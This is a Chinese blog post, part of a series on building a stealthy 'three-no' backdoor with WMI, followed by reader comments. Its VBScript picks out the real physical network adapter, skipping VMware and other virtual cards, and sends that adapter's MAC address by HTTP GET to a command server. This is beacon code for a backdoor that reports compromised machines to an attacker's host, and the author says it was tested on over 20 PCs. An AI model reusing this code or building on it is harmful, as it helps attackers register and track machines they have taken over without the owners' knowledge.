利用WMI打造完美“三无”后门-消灭一切假网卡

来源:菠萝的菠萝格

Welcome!各位ScriptKid,欢迎来到脚本世界。

这年头,貌似除了我们呼吸的空气,什么都有假的,有的假的比那真的还真的。更别说在0101的虚拟世界了。hi,请问你是阿猫还是阿狗?:)

如何从一大堆诸如VMWARE之类的软件所模拟的假网卡中找到那块我们需要的真实的物理网卡并且确定确实有个真的网线插在上面,是摆在我们面前的第一个问题。更何况,用MAC地址来进行机器管理,相对还比较可靠^0^

WMI里主要有关网卡的类有三个:Win32_NetworkAdapter,Win32_NetworkAdapterConfiguration和Win32_NetworkAdapterSetting,都是位于CIMV2名称空间。

Win32_NetworkAdapterSetting就不说了,只有2个属性:Element和Setting。

Win32_NetworkAdapter,Win32_NetworkAdapterConfiguration里面都有关于网卡的大量的属性数据,看来还比较靠谱。

以下是我用来判断真实物理网卡的第一份代码:

Set MacAddressInfos = WMIService.ExecQuery(“Select * from Win32_NetworkAdapterConfiguration Where IPEnabled = True”)
For Each MacAddressInfo in MacAddressInfos
strIPAddress = Join(MacAddressInfo.IPAddress, “,”)
If NOT (MacAddressInfo.ServiceName = “VMnetAdapter”) AND NOT (MacAddressInfo.ServiceName = “NdisIP”) AND NOT (strIPAddress = “0.0.0.0”) AND NOT (strIPAddress = “”) Then
Http.Open “GET”,”http://”&CmdServer&”/”&ServerPath&”/”&ServerMacFile&”?macaddress=”&MacAddressInfo.MACAddress,true
Http.send
Else

End If

判断条件是当该网卡在网络上使用IP,并且服务名不是VMnetAdapter或者NdisIP,并且IP地址不为空或者0.0.0.0时,这网卡 就是真实物理网卡。开始时,美滋滋的,真的找出物理网卡了,后来越想越不对劲,要是这虚拟网卡不是VMWARE创建的虚拟网卡,那不就抓瞎了?经过强烈的 大脑活动,有了以下的这份判断真实物理网卡的代码:

Set MacAddressInfos = WMIService.ExecQuery(“Select * from Win32_NetworkAdapter”)
For Each MacAddressInfo in MacAddressInfos
If NOT IsNull(MacAddressInfo.MACAddress) Then
If (InStr(MacAddressInfo.PNPDeviceID,”PCI”) > 0) And (MacAddressInfo.NetConnectionStatus = 2) Then
Wscript.sleep 3000
Http.Open “GET”,”http://”&CmdServer&”/”&ServerPath&”/”&ServerMacFile&”?macaddress=”&MacAddressInfo.MACAddress,true
Http.send
Wscript.sleep 3000
End If
End If

判断条件是在mac地址不为空的网卡中,如果PNPDeviceID中还有PCI字样并且网络连接状态是已连接上的网卡,那就是咱要找的真实物理网 卡。经过威逼利诱,巧取豪夺,坑蒙拐骗在超过20台PC上的测试后,目前还没出现过差错。当然了,面对多个真实物理网卡的环境,加上第一份代码中的某些判 断条件,会更加准确。

如果有同学认为有可能绕过这个判断的话,欢迎挑战,我会及时修正。

明天就是周末了,台风“鹦鹉”也要来了。如果我不被台风吹跑并且也不用考英语考试的话。。会给大家继续下一篇

《利用WMI打造完美“三无”后门-The Core》

相关日志

楼被抢了 4 层了... 抢座Rss 2.0或者 Trackback

  • Muse

    当网卡没有被连接的时候MacAddressInfo.NetConnectionStatus = 7,而不是2

  • Muse

    当网卡没有插网线的时候MacAddressInfo.NetConnectionStatus = 7,而不是2

  • Muse

    哦,你这是用于联网环境下的…
    看来是没有问题的,我现在是想在没有联网的情况下准确的判断物理网卡。但是有虚拟网卡干扰(OpenVPN、VMware),好像不太好办。

  • 孤独的长跑者

    不用这么麻烦,可以由HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards判断出

发表评论